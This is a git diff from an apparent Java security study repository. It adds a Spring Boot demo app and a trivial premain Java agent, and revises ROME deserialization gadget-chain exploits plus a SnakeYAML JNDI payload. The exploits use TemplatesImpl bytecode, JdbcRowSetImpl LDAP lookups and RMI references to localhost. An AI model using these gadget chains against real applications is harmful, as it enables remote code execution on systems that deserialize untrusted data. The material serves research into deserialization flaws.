b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/mvnw.cmd @@ -0,0 +1,188 @@ +@REM ---------------------------------------------------------------------------- +@REM Licensed to the Apache Software Foundation (ASF) under one +@REM or more contributor license agreements. See the NOTICE file +@REM distributed with this work for additional information +@REM regarding copyright ownership. The ASF licenses this file +@REM to you under the Apache License, Version 2.0 (the +@REM "License"); you may not use this file except in compliance +@REM with the License. You may obtain a copy of the License at +@REM +@REM https://www.apache.org/licenses/LICENSE-2.0 +@REM +@REM Unless required by applicable law or agreed to in writing, +@REM software distributed under the License is distributed on an +@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +@REM KIND, either express or implied. See the License for the +@REM specific language governing permissions and limitations +@REM under the License. +@REM ---------------------------------------------------------------------------- + +@REM ---------------------------------------------------------------------------- +@REM Maven Start Up Batch script +@REM +@REM Required ENV vars: +@REM JAVA_HOME - location of a JDK home dir +@REM +@REM Optional ENV vars +@REM M2_HOME - location of maven2's installed home dir +@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands +@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending +@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven +@REM e.g. to debug Maven itself, use +@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 +@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files +@REM ---------------------------------------------------------------------------- + +@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' +@echo off +@REM set title of command window +title %0 +@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on' +@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% + +@REM set %HOME% to equivalent of $HOME +if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") + +@REM Execute a user defined script before this one +if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre +@REM check for pre script, once with legacy .bat ending and once with .cmd ending +if exist "%USERPROFILE%\mavenrc_pre.bat" call "%USERPROFILE%\mavenrc_pre.bat" %* +if exist "%USERPROFILE%\mavenrc_pre.cmd" call "%USERPROFILE%\mavenrc_pre.cmd" %* +:skipRcPre + +@setlocal + +set ERROR_CODE=0 + +@REM To isolate internal variables from possible post scripts, we use another setlocal +@setlocal + +@REM ==== START VALIDATION ==== +if not "%JAVA_HOME%" == "" goto OkJHome + +echo. +echo Error: JAVA_HOME not found in your environment.>&2 +echo Please set the JAVA_HOME variable in your environment to match the>&2 +echo location of your Java installation.>&2 +echo. +goto error + +:OkJHome +if exist "%JAVA_HOME%\bin\java.exe" goto init + +echo. +echo Error: JAVA_HOME is set to an invalid directory.>&2 +echo JAVA_HOME = "%JAVA_HOME%">&2 +echo Please set the JAVA_HOME variable in your environment to match the>&2 +echo location of your Java installation.>&2 +echo. +goto error + +@REM ==== END VALIDATION ==== + +:init + +@REM Find the project base dir, i.e. the directory that contains the folder ".mvn". +@REM Fallback to current working directory if not found. + +set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% +IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir + +set EXEC_DIR=%CD% +set WDIR=%EXEC_DIR% +:findBaseDir +IF EXIST "%WDIR%"\.mvn goto baseDirFound +cd .. +IF "%WDIR%"=="%CD%" goto baseDirNotFound +set WDIR=%CD% +goto findBaseDir + +:baseDirFound +set MAVEN_PROJECTBASEDIR=%WDIR% +cd "%EXEC_DIR%" +goto endDetectBaseDir + +:baseDirNotFound +set MAVEN_PROJECTBASEDIR=%EXEC_DIR% +cd "%EXEC_DIR%" + +:endDetectBaseDir + +IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig + +@setlocal EnableExtensions EnableDelayedExpansion +for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a +@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% + +:endReadAdditionalConfig + +SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" +set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" +set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain + +set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar" + +FOR /F "usebackq tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO ( + IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B +) + +@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central +@REM This allows using the maven wrapper in projects that prohibit checking in binary data. +if exist %WRAPPER_JAR% ( + if "%MVNW_VERBOSE%" == "true" ( + echo Found %WRAPPER_JAR% + ) +) else ( + if not "%MVNW_REPOURL%" == "" ( + SET DOWNLOAD_URL="%MVNW_REPOURL%/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar" + ) + if "%MVNW_VERBOSE%" == "true" ( + echo Couldn't find %WRAPPER_JAR%, downloading it ... + echo Downloading from: %DOWNLOAD_URL% + ) + + powershell -Command "&{"^ + "$webclient = new-object System.Net.WebClient;"^ + "if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^ + "$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^ + "}"^ + "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^ + "}" + if "%MVNW_VERBOSE%" == "true" ( + echo Finished downloading %WRAPPER_JAR% + ) +) +@REM End of extension + +@REM Provide a "standardized" way to retrieve the CLI args that will +@REM work with both Windows and non-Windows executions. +set MAVEN_CMD_LINE_ARGS=%* + +%MAVEN_JAVA_EXE% ^ + %JVM_CONFIG_MAVEN_PROPS% ^ + %MAVEN_OPTS% ^ + %MAVEN_DEBUG_OPTS% ^ + -classpath %WRAPPER_JAR% ^ + "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" ^ + %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* +if ERRORLEVEL 1 goto error +goto end + +:error +set ERROR_CODE=1 + +:end +@endlocal & set ERROR_CODE=%ERROR_CODE% + +if not "%MAVEN_SKIP_RC%"=="" goto skipRcPost +@REM check for post script, once with legacy .bat ending and once with .cmd ending +if exist "%USERPROFILE%\mavenrc_post.bat" call "%USERPROFILE%\mavenrc_post.bat" +if exist "%USERPROFILE%\mavenrc_post.cmd" call "%USERPROFILE%\mavenrc_post.cmd" +:skipRcPost + +@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' +if "%MAVEN_BATCH_PAUSE%"=="on" pause + +if "%MAVEN_TERMINATE_CMD%"=="on" exit %ERROR_CODE% + +cmd /C exit /B %ERROR_CODE% diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/pom.xml b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/pom.xml new file mode 100644 index 00000000..aa371083 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/pom.xml @@ -0,0 +1,41 @@ + + + 4.0.0 + + org.springframework.boot + spring-boot-starter-parent + 2.6.7 + + + com.example + Java_Agent_SpringBoot + 0.0.1-SNAPSHOT + Java_Agent_SpringBoot + Java_Agent_SpringBoot + + 1.8 + + + + org.springframework.boot + spring-boot-starter-web + + + + org.springframework.boot + spring-boot-starter-test + test + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + + + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/src/main/java/com/example/java_agent_springboot/Hello_Controller.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/src/main/java/com/example/java_agent_springboot/Hello_Controller.java new file mode 100644 index 00000000..4ed3b6ea --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/src/main/java/com/example/java_agent_springboot/Hello_Controller.java @@ -0,0 +1,15 @@ +package com.example.java_agent_springboot; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +@Controller +public class Hello_Controller { + + @ResponseBody + @RequestMapping("/hello") + public String Hello(){ + return "Hello World!"; + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/src/main/java/com/example/java_agent_springboot/JavaAgentSpringBootApplication.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/src/main/java/com/example/java_agent_springboot/JavaAgentSpringBootApplication.java new file mode 100644 index 00000000..094f491e --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/src/main/java/com/example/java_agent_springboot/JavaAgentSpringBootApplication.java @@ -0,0 +1,13 @@ +package com.example.java_agent_springboot; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class JavaAgentSpringBootApplication { + + public static void main(String[] args) { + SpringApplication.run(JavaAgentSpringBootApplication.class, args); + } + +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/src/main/resources/application.properties b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/src/main/resources/application.properties new file mode 100644 index 00000000..4d360de1 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/src/main/resources/application.properties @@ -0,0 +1 @@ +server.port=8081 diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/src/test/java/com/example/java_agent_springboot/JavaAgentSpringBootApplicationTests.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/src/test/java/com/example/java_agent_springboot/JavaAgentSpringBootApplicationTests.java new file mode 100644 index 00000000..c32bd04b --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Java_Agent_SpringBoot/src/test/java/com/example/java_agent_springboot/JavaAgentSpringBootApplicationTests.java @@ -0,0 +1,13 @@ +package com.example.java_agent_springboot; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.SpringBootTest; + +@SpringBootTest +class JavaAgentSpringBootApplicationTests { + + @Test + void contextLoads() { + } + +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/.gitignore b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/.gitignore new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/pom.xml b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/pom.xml new file mode 100644 index 00000000..693c62ae --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/pom.xml @@ -0,0 +1,9 @@ + + 4.0.0 + org.example + premain + 1.0-SNAPSHOT + Archetype - premain + http://maven.apache.org + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/java/Hello.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/java/Hello.java new file mode 100644 index 00000000..0ead107a --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/java/Hello.java @@ -0,0 +1,5 @@ +public class Hello { + public static void main(String[] args) { + System.out.println("Hello World!"); + } +} \ No newline at end of file diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/java/Java_Agent_premain.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/java/Java_Agent_premain.java new file mode 100644 index 00000000..ab0220b7 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/java/Java_Agent_premain.java @@ -0,0 +1,9 @@ +import java.lang.instrument.Instrumentation; + +public class Java_Agent_premain { + public static void premain(String args, Instrumentation inst) { + for (int i=0 ; i<10 ; i++){ + System.out.println("调用了premain-Agent!"); + } + } +} \ No newline at end of file diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/META-INF/maven/agent.MF b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/META-INF/maven/agent.MF new file mode 100644 index 00000000..ff1b29a8 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/META-INF/maven/agent.MF @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +Premain-Class: Java_Agent_premain + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/META-INF/maven/archetype.xml b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/META-INF/maven/archetype.xml new file mode 100644 index 00000000..cb5ee8ac --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/META-INF/maven/archetype.xml @@ -0,0 +1,9 @@ + + premain + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/META-INF/maven/hello.mf b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/META-INF/maven/hello.mf new file mode 100644 index 00000000..2049492d --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/META-INF/maven/hello.mf @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +Main-Class: Hello + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/archetype-resources/pom.xml b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/archetype-resources/pom.xml new file mode 100644 index 00000000..2e878ffc --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/archetype-resources/pom.xml @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $premain + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/archetype-resources/src/main/java/App.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/archetype-resources/src/main/java/App.java new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/archetype-resources/src/main/java/App.java @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/archetype-resources/src/test/java/AppTest.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/archetype-resources/src/test/java/AppTest.java new file mode 100644 index 00000000..65be417e --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/premain/src/main/resources/archetype-resources/src/test/java/AppTest.java @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git a/JavaSecurity/ROME/BasicRome/pom.xml b/JavaSecurity/ROME/BasicRome/pom.xml index 659f7a2c..99cfb73e 100644 --- a/JavaSecurity/ROME/BasicRome/pom.xml +++ b/JavaSecurity/ROME/BasicRome/pom.xml @@ -24,6 +24,12 @@ jboss-classpool 1.0.0.GA + + org.apache.commons + commons-collections4 + 4.4 + + diff --git a/JavaSecurity/ROME/BasicRome/ser.bin b/JavaSecurity/ROME/BasicRome/ser.bin index 32492e58..3c89e9a4 100644 Binary files a/JavaSecurity/ROME/BasicRome/ser.bin and b/JavaSecurity/ROME/BasicRome/ser.bin differ diff --git a/JavaSecurity/ROME/BasicRome/src/main/java/RomEXP.java b/JavaSecurity/ROME/BasicRome/src/main/java/RomEXP.java index d0e87ead..0e4f3b8b 100644 --- a/JavaSecurity/ROME/BasicRome/src/main/java/RomEXP.java +++ b/JavaSecurity/ROME/BasicRome/src/main/java/RomEXP.java @@ -2,12 +2,15 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; +import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; +import org.apache.commons.collections4.functors.ConstantTransformer; import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; @@ -23,14 +26,17 @@ public static void main(String[] args) throws Exception{ byte[] evil = getTemplatesImpl("Calc"); byte[][] codes = {evil}; byteCodesField.set(templates,codes); -// templates.newTransformer(); - ToStringBean toStringBean = new ToStringBean(c,templates); -// toStringBean.toString(); - Class toStringBeanEvil = toStringBean.getClass(); - EqualsBean equalsBean = new EqualsBean(toStringBeanEvil,toStringBean); -// equalsBean.beanHashCode(); - HashMap hashMap = new HashMap(); - hashMap.put(equalsBean,"Drunkbaby"); + + ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); + EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); + + HashMap hashMap = new HashMap(); + hashMap.put(equalsBean,"123"); + + //再改回正常的参数 + Field field = toStringBean.getClass().getDeclaredField("_obj"); + field.setAccessible(true); + field.set(toStringBean,templates); serialize(hashMap); unserialize("ser.bin"); } diff --git a/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/BadAttributeValueExpExceptionEXP.java b/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/BadAttributeValueExpExceptionEXP.java index 66e01ae9..8c4d45ae 100644 --- a/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/BadAttributeValueExpExceptionEXP.java +++ b/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/BadAttributeValueExpExceptionEXP.java @@ -7,8 +7,10 @@ import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; +import org.apache.commons.collections4.functors.ConstantTransformer; import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; @@ -24,11 +26,15 @@ public static void main(String[] args) throws Exception{ byte[] evil = getTemplatesImpl("Calc"); byte[][] codes = {evil}; byteCodesField.set(templates,codes); -// templates.newTransformer(); - ToStringBean toStringBean = new ToStringBean(c,templates); -// toStringBean.toString(); - Class toStringBeanEvil = toStringBean.getClass(); - BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean); + + ToStringBean toStringBean = new ToStringBean(Templates.class,templates); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Class Bv = Class.forName("javax.management.BadAttributeValueExpException"); + Field val = Bv.getDeclaredField("val"); + val.setAccessible(true); + val.set(badAttributeValueExpException,toStringBean); + serialize(badAttributeValueExpException); unserialize("ser.bin"); } diff --git a/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/HashTableEXP.java b/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/HashTableEXP.java index 95172299..349f6f7a 100644 --- a/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/HashTableEXP.java +++ b/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/HashTableEXP.java @@ -7,7 +7,9 @@ import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; +import org.apache.commons.collections4.functors.ConstantTransformer; +import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; @@ -25,12 +27,17 @@ public static void main(String[] args) throws Exception{ byte[][] codes = {evil}; byteCodesField.set(templates,codes); // templates.newTransformer(); - ToStringBean toStringBean = new ToStringBean(c,templates); + ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); // toStringBean.toString(); Class toStringBeanEvil = toStringBean.getClass(); EqualsBean equalsBean = new EqualsBean(toStringBeanEvil,toStringBean); Hashtable hashtable= new Hashtable(); hashtable.put(equalsBean,"Drunkbaby"); + + Field field = toStringBean.getClass().getDeclaredField("_obj"); + field.setAccessible(true); + field.set(toStringBean,templates); + serialize(hashtable); unserialize("ser.bin"); diff --git a/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/JdbcRowSetImplEXP.java b/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/JdbcRowSetImplEXP.java index 200e1bcb..3d14d821 100644 --- a/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/JdbcRowSetImplEXP.java +++ b/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/JdbcRowSetImplEXP.java @@ -3,7 +3,9 @@ import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; +import org.apache.commons.collections4.functors.ConstantTransformer; +import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; @@ -16,13 +18,15 @@ public static void main(String[] args) throws Exception { String url = "ldap://127.0.0.1:1230/ExportObject"; jdbcRowSet.setDataSourceName(url); - - ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet); + ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); HashMap hashMap = new HashMap(); hashMap.put(equalsBean, "123"); + Field field = toStringBean.getClass().getDeclaredField("_obj"); + field.setAccessible(true); + field.set(toStringBean,jdbcRowSet); serialize(hashMap); unserialize("ser.bin"); } diff --git a/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/ObjectBeanEXP.java b/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/ObjectBeanEXP.java index 26dc7889..412bf3ea 100644 --- a/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/ObjectBeanEXP.java +++ b/JavaSecurity/ROME/BasicRome/src/main/java/otherChains/ObjectBeanEXP.java @@ -8,7 +8,9 @@ import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; +import org.apache.commons.collections4.functors.ConstantTransformer; +import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; @@ -26,13 +28,17 @@ public static void main(String[] args) throws Exception{ byte[] evil = getTemplatesImpl("Calc"); byte[][] codes = {evil}; byteCodesField.set(templates,codes); -// templates.newTransformer(); - ToStringBean toStringBean = new ToStringBean(c,templates); -// toStringBean.toString(); - Class toStringBeanEvil = toStringBean.getClass(); - ObjectBean objectBean = new ObjectBean(toStringBeanEvil,toStringBean); - HashMap hashMap = new HashMap(); - hashMap.put(objectBean,"Drunkbaby"); + + ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); + ObjectBean equalsBean = new ObjectBean(ToStringBean.class,toStringBean); + + HashMap hashMap = new HashMap(); + hashMap.put(equalsBean,"123"); + + //再改回正常的参数 + Field field = toStringBean.getClass().getDeclaredField("_obj"); + field.setAccessible(true); + field.set(toStringBean,templates); serialize(hashMap); unserialize("ser.bin"); diff --git a/JavaSecurity/ROME/BasicRome/target/classes/BetterRomEXP.class b/JavaSecurity/ROME/BasicRome/target/classes/BetterRomEXP.class index 28ab3c24..812a5c95 100644 Binary files a/JavaSecurity/ROME/BasicRome/target/classes/BetterRomEXP.class and b/JavaSecurity/ROME/BasicRome/target/classes/BetterRomEXP.class differ diff --git a/JavaSecurity/ROME/BasicRome/target/classes/META-INF/BasicRome.kotlin_module b/JavaSecurity/ROME/BasicRome/target/classes/META-INF/BasicRome.kotlin_module deleted file mode 100644 index 70f0f69f..00000000 Binary files a/JavaSecurity/ROME/BasicRome/target/classes/META-INF/BasicRome.kotlin_module and /dev/null differ diff --git a/JavaSecurity/ROME/BasicRome/target/classes/RomEXP.class b/JavaSecurity/ROME/BasicRome/target/classes/RomEXP.class index 0a761fb0..dff7ef7f 100644 Binary files a/JavaSecurity/ROME/BasicRome/target/classes/RomEXP.class and b/JavaSecurity/ROME/BasicRome/target/classes/RomEXP.class differ diff --git a/JavaSecurity/ROME/BasicRome/target/classes/TemplatesImplEXP.class b/JavaSecurity/ROME/BasicRome/target/classes/TemplatesImplEXP.class index a6fd735e..c2240693 100644 Binary files a/JavaSecurity/ROME/BasicRome/target/classes/TemplatesImplEXP.class and b/JavaSecurity/ROME/BasicRome/target/classes/TemplatesImplEXP.class differ diff --git a/JavaSecurity/ROME/BasicRome/target/classes/ToStringBeanEXP.class b/JavaSecurity/ROME/BasicRome/target/classes/ToStringBeanEXP.class index 4041b8bb..560808ca 100644 Binary files a/JavaSecurity/ROME/BasicRome/target/classes/ToStringBeanEXP.class and b/JavaSecurity/ROME/BasicRome/target/classes/ToStringBeanEXP.class differ diff --git a/JavaSecurity/ROME/BasicRome/target/classes/otherChains/BadAttributeValueExpExceptionEXP.class b/JavaSecurity/ROME/BasicRome/target/classes/otherChains/BadAttributeValueExpExceptionEXP.class index f1b5d562..751a3096 100644 Binary files a/JavaSecurity/ROME/BasicRome/target/classes/otherChains/BadAttributeValueExpExceptionEXP.class and b/JavaSecurity/ROME/BasicRome/target/classes/otherChains/BadAttributeValueExpExceptionEXP.class differ diff --git a/JavaSecurity/ROME/BasicRome/target/classes/otherChains/HashTableEXP.class b/JavaSecurity/ROME/BasicRome/target/classes/otherChains/HashTableEXP.class index 76888514..63d453c8 100644 Binary files a/JavaSecurity/ROME/BasicRome/target/classes/otherChains/HashTableEXP.class and b/JavaSecurity/ROME/BasicRome/target/classes/otherChains/HashTableEXP.class differ diff --git a/JavaSecurity/ROME/BasicRome/target/classes/otherChains/JdbcRowSetImplEXP.class b/JavaSecurity/ROME/BasicRome/target/classes/otherChains/JdbcRowSetImplEXP.class index 3a870f01..2e562101 100644 Binary files a/JavaSecurity/ROME/BasicRome/target/classes/otherChains/JdbcRowSetImplEXP.class and b/JavaSecurity/ROME/BasicRome/target/classes/otherChains/JdbcRowSetImplEXP.class differ diff --git a/JavaSecurity/ROME/BasicRome/target/classes/otherChains/ObjectBeanEXP.class b/JavaSecurity/ROME/BasicRome/target/classes/otherChains/ObjectBeanEXP.class index 7684cdd6..2009bd96 100644 Binary files a/JavaSecurity/ROME/BasicRome/target/classes/otherChains/ObjectBeanEXP.class and b/JavaSecurity/ROME/BasicRome/target/classes/otherChains/ObjectBeanEXP.class differ diff --git a/JavaSecurity/SnakeYaml/pom.xml b/JavaSecurity/SnakeYaml/pom.xml index 3a9c907f..717d42bf 100644 --- a/JavaSecurity/SnakeYaml/pom.xml +++ b/JavaSecurity/SnakeYaml/pom.xml @@ -12,27 +12,33 @@ org.yaml snakeyaml - 1.27 + 1.25 - commons-configuration - commons-configuration - 1.10 + commons-logging + commons-logging + 1.2 + + + com.unboundid + unboundid-ldapsdk + 4.0.9 + test org.springframework - spring-webmvc - 5.3.16 + spring-beans + 5.0.2.RELEASE - com.mchange - c3p0 - 0.9.5.2 + org.springframework + spring-context + 5.0.2.RELEASE - org.apache.xbean - xbean-naming - 4.20 + org.springframework + spring-core + 5.0.2.RELEASE diff --git a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/JndiConfigurationEXP.java b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/JndiConfigurationEXP.java index dc5c0797..65ebdd7e 100644 --- a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/JndiConfigurationEXP.java +++ b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/JndiConfigurationEXP.java @@ -8,7 +8,7 @@ public static void main(String[] args) { String payload = "!!org.apache.commons.configuration.ConfigurationMap " + "[!!org.apache.commons.configuration.JNDIConfiguration " + "[!!javax.naming.InitialContext [], " + - "\"rmi://127.0.0.1:1099/Exploit\"]]: 1"; + "\"rmi://127.0.0.1:1099/nprcsj\"]]: 1"; Yaml yaml = new Yaml(); yaml.load(payload); } diff --git a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java index 6a983b1a..70989ebe 100644 --- a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java +++ 